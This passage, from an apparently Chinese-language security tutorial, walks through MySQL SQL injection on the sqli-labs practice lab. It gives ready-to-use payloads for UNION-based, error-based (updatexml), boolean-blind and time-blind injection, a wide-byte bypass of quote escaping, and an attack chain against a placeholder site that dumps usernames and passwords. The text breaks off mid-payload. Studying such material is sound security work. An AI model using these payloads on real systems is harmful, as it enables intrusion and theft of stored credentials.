src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-19-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-376\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u770b\u5230\u9875\u9762\u4e0a\u663e\u793a2\u548c3 \u2192 \u8bf4\u660e\u7b2c2\u30013\u4e2a\u4f4d\u7f6e\u53ef\u4ee5\u663e\u793a\u6570\u636e<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u83b7\u53d6\u6570\u636e\u5e93\u540d<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>http:\/\/localhost\/sqli\/Less-1\/?id=-1' UNION SELECT 1,DATABASE(),3 --+<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-20-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-20-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-377\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u8fd4\u56de\uff1a<code>security<\/code>\uff08\u5f53\u524d\u6570\u636e\u5e93\u540d\uff09<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u83b7\u53d6\u6240\u6709\u8868\u540d<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>http:\/\/localhost\/sqli\/Less-1\/?id=-1' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='security' --+<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-21-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-21-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-379\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u83b7\u53d6users\u8868\u7684\u5217\u540d<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>http:\/\/localhost\/sqli\/Less-1\/?id=-1' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users' --+<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-22-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-22-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-381\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u63d0\u53d6\u6570\u636e<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>http:\/\/localhost\/sqli\/Less-1\/?id=-1' UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --+<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-23-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-23-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-382\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udfe0 \u62a5\u9519\u6ce8\u5165<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u5e38\u7528\u51fd\u6570\u5bf9\u6bd4<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table aligncenter\"><table class=\"has-fixed-layout\"><thead><tr><th class=\"has-text-align-center\" data-align=\"center\">\u51fd\u6570<\/th><th class=\"has-text-align-center\" data-align=\"center\">\u9650\u5236<\/th><th class=\"has-text-align-center\" data-align=\"center\">\u8bf4\u660e<\/th><\/tr><\/thead><tbody><tr><td class=\"has-text-align-center\" data-align=\"center\"><code>updatexml()<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">\u8fd4\u56de\u503c\u957f\u5ea632<\/td><td class=\"has-text-align-center\" data-align=\"center\">MySQL 5.1.5+<\/td><\/tr><tr><td class=\"has-text-align-center\" data-align=\"center\"><code>extractvalue()<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">\u8fd4\u56de\u503c\u957f\u5ea632<\/td><td class=\"has-text-align-center\" data-align=\"center\">MySQL 5.1.5+<\/td><\/tr><tr><td class=\"has-text-align-center\" data-align=\"center\"><code>floor(rand(0)*2)<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">\u65e0\u957f\u5ea6\u9650\u5236\u4f46\u4f1a\u91cd\u590d<\/td><td class=\"has-text-align-center\" data-align=\"center\">\u901a\u7528\u6027\u6700\u597d<\/td><\/tr><tr><td class=\"has-text-align-center\" data-align=\"center\"><code>exp()<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">\u6570\u503c&gt;709\u62a5\u9519<\/td><td class=\"has-text-align-center\" data-align=\"center\">MySQL 5.5.5+<\/td><\/tr><tr><td class=\"has-text-align-center\" data-align=\"center\"><code>GeometryCollection()<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">&#8211;<\/td><td class=\"has-text-align-center\" data-align=\"center\">\u9700\u8981\u7a7a\u95f4\u51fd\u6570\u652f\u6301<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u67e5\u6570\u636e\u5e93\u540d<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>http:\/\/localhost\/sqli\/Less-1\/?id=1' AND updatexml(1,concat(0x7e,database(),0x7e),1) --+<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-24-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-24-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-387\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u67e5\u8868\u540d<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>http:\/\/localhost\/sqli\/Less-1\/?id=1' AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),0x7e),1) --+<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-25-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-25-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-388\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u67e5\u5217\u540d<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>http:\/\/localhost\/sqli\/Less-1\/?id=1' AND updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' and table_schema='security' LIMIT 1,1),0x7e),1) --+<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-29-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-29-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-400\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u67e5\u6570\u636e<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>http:\/\/localhost\/sqli\/Less-1\/?id=1' AND updatexml(1,concat(0x7e,(SELECT concat(username,0x3a,password) FROM users LIMIT 0,1),0x7e),1) --+<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-27-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-27-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-390\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udfe1 \u5e03\u5c14\u76f2\u6ce8<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u5224\u65ad\u6570\u636e\u5e93\u540d\u957f\u5ea6\u662f\u5426=8<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>http:\/\/localhost\/sqli\/Less-8\/?id=1' AND LENGTH(database())=8 --+\n\u5982\u679c\u9875\u9762\u6b63\u5e38 \u2192 \u957f\u5ea6\u4e3a8<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-30-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-30-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-403\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u731c\u89e3\u6570\u636e\u5e93\u540d\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>-- \u5224\u65ad\u7b2c\u4e00\u4e2a\u5b57\u7b26\u7684ASCII\u7801\u662f\u5426=115\uff08\u5373's'\uff09\nhttp:\/\/localhost\/sqli\/Less-8\/?id=1' AND ASCII(SUBSTRING(database(),1,1))=115 --+\n\u5982\u679c\u9875\u9762\u6b63\u5e38 \u2192 \u7b2c\u4e00\u4e2a\u5b57\u7b26\u662f's'<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-31-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-31-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-404\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u5b8c\u6574\u731c\u89e3\u6d41\u7a0b\uff08\u9700\u8981\u811a\u672c\u6216\u624b\u5de5\uff09<\/strong><\/li>\n<\/ul>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/deepseek_mermaid_20260530_20ef9e-368x1024.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"368\" height=\"1024\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/deepseek_mermaid_20260530_20ef9e-368x1024.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-405\"  sizes=\"auto, (max-width: 368px) 100vw, 368px\" \/><\/div><\/figure>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udfe2 \u65f6\u95f4\u76f2\u6ce8<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u6570\u636e\u5e93\u540d\u7b2c\u4e00\u4e2a\u5b57\u7b26\u662f&#8217;s&#8217;\uff0c\u5219\u5ef6\u8fdf5\u79d2<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>http:\/\/localhost\/sqli\/Less-9\/?id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0) --<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-32-1024x544.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"544\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-32-1024x544.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-409\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u540c\u6837\u7684\uff0c\u9010\u5b57\u731c\u6d4b\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u56db\u3001MySQL\u6ce8\u5165\u4e2d\u7684\u5173\u952e\u6280\u672f\u7ec6\u8282<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udd22 \u5982\u4f55\u5224\u65ad\u5b57\u6bb5\u6570<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>ORDER BY<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>ORDER BY 1 -- \u6b63\u5e38\nORDER BY 2 -- \u6b63\u5e38\nORDER BY 3 -- \u6b63\u5e38\nORDER BY 4 -- \u62a5\u9519 \u2192 \u5b57\u6bb5\u6570=3<\/strong><\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>UNION SELECT<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>UNION SELECT NULL -- \u6b63\u5e38\nUNION SELECT NULL,NULL -- \u6b63\u5e38\nUNION SELECT NULL,NULL,NULL -- \u6b63\u5e38\nUNION SELECT NULL,NULL,NULL,NULL -- \u62a5\u9519 \u2192 \u5b57\u6bb5\u6570=3<\/strong><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udcc8 \u5224\u65ad\u5f53\u524d\u8868\u6709\u591a\u5c11\u6761\u6570\u636e<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>-- \u7edf\u8ba1users\u8868\u7684\u6570\u636e\u91cf\nAND (SELECT COUNT(*) FROM users)=4<\/strong><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83c\udf0f \u5355\u5f15\u53f7\u88ab\u8fc7\u6ee4\u600e\u4e48\u529e\uff1f\u2014\u2014\u5bbd\u5b57\u8282\u6ce8\u5165<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u80cc\u666f<\/strong>\uff1a\u5f53\u4f7f\u7528\u4e86<code>addslashes()<\/code>\u6216<code>mysql_real_escape_string()<\/code>\u65f6\uff0c\u5355\u5f15\u53f7<code>'<\/code>\u4f1a\u88ab\u8f6c\u4e49\u6210<code>\\'<\/code>\uff0c\u5bfc\u81f4\u6ce8\u5165\u5931\u8d25\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u539f\u7406<\/strong>\uff1aGBK\u7b49\u53cc\u5b57\u8282\u5b57\u7b26\u96c6\u4e2d\uff0c<code>%df'<\/code>&nbsp;\u2192&nbsp;<code>%df\\'<\/code>&nbsp;\u2192&nbsp;<code>%df%5c%27<\/code>\uff0c\u5176\u4e2d<code>%df%5c<\/code>\u88ab\u89e3\u6790\u6210\u4e00\u4e2a\u6c49\u5b57\uff0c<code>%27<\/code>\uff08\u5355\u5f15\u53f7\uff09\u9003\u9038\u51fa\u6765\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>-- \u6b63\u5e38\u6ce8\u5165\u88ab\u8f6c\u4e49\n\u8f93\u5165\uff1a1'\n\u8f6c\u4e49\u540e\uff1a1\\'\n\u5b9e\u9645SQL\uff1aWHERE id='1\\''  -- \u5355\u5f15\u53f7\u88ab\u8f6c\u4e49\uff0c\u65e0\u6cd5\u95ed\u5408\n\n-- \u5bbd\u5b57\u8282\u6ce8\u5165\n\u8f93\u5165\uff1a1%df'\n\u8f6c\u4e49\u540e\uff1a1%df\\'\n\u56e0\u4e3a%df\u548c%5c\u7ec4\u6210\u4e00\u4e2a\u6c49\u5b57\uff0c%27\u72ec\u7acb\n\u5b9e\u9645SQL\uff1aWHERE id='1\ufffd''  -- \u5355\u5f15\u53f7\u6210\u529f\u9003\u9038<\/strong><\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e94\u3001\u771f\u5b9e\u573a\u666f\uff1a\u5b8c\u6574\u7684SQL\u6ce8\u5165\u653b\u51fb\u6d41\u7a0b<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5047\u8bbe\u6211\u4eec\u9762\u5bf9\u4e00\u4e2a\u5b58\u5728UNION\u6ce8\u5165\u7684\u9875\u9762\uff1a<code>http:\/\/target.com\/product.php?id=1<\/code><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>&nbsp;\u5b8c\u6574\u653b\u51fb\u94fe\u8def<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>-- 1\ufe0f\u20e3 \u786e\u8ba4\u6ce8\u5165\u70b9\nhttp:\/\/target.com\/product.php?id=1' --+  \u62a5\u9519 \u2192 \u5b58\u5728\u6ce8\u5165\n\n-- 2\ufe0f\u20e3 \u83b7\u53d6\u6570\u636e\u5e93\u7248\u672c\uff08\u5224\u65ad\u53ef\u7528\u624b\u6cd5\uff09\nhttp:\/\/target.com\/product.php?id=-1' UNION SELECT 1,VERSION(),3 --+\n\u8fd4\u56de\uff1a5.7.33 \u2192 \u4fe1\u606f\u91cf\u5145\u8db3\n\n-- 3\ufe0f\u20e3 \u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93\nhttp:\/\/target.com\/product.php?id=-1' UNION SELECT 1,DATABASE(),3 --+\n\u8fd4\u56de\uff1aecommerce\n\n-- 4\ufe0f\u20e3 \u83b7\u53d6\u6240\u6709\u6570\u636e\u5e93\nhttp:\/\/target.com\/product.php?id=-1' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata --+\n\u8fd4\u56de\uff1ainformation_schema,mysql,performance_schema,ecommerce,admin\n\n-- 5\ufe0f\u20e3 \u83b7\u53d6admin\u6570\u636e\u5e93\u7684\u8868\nhttp:\/\/target.com\/product.php?id=-1' UNION SELECT 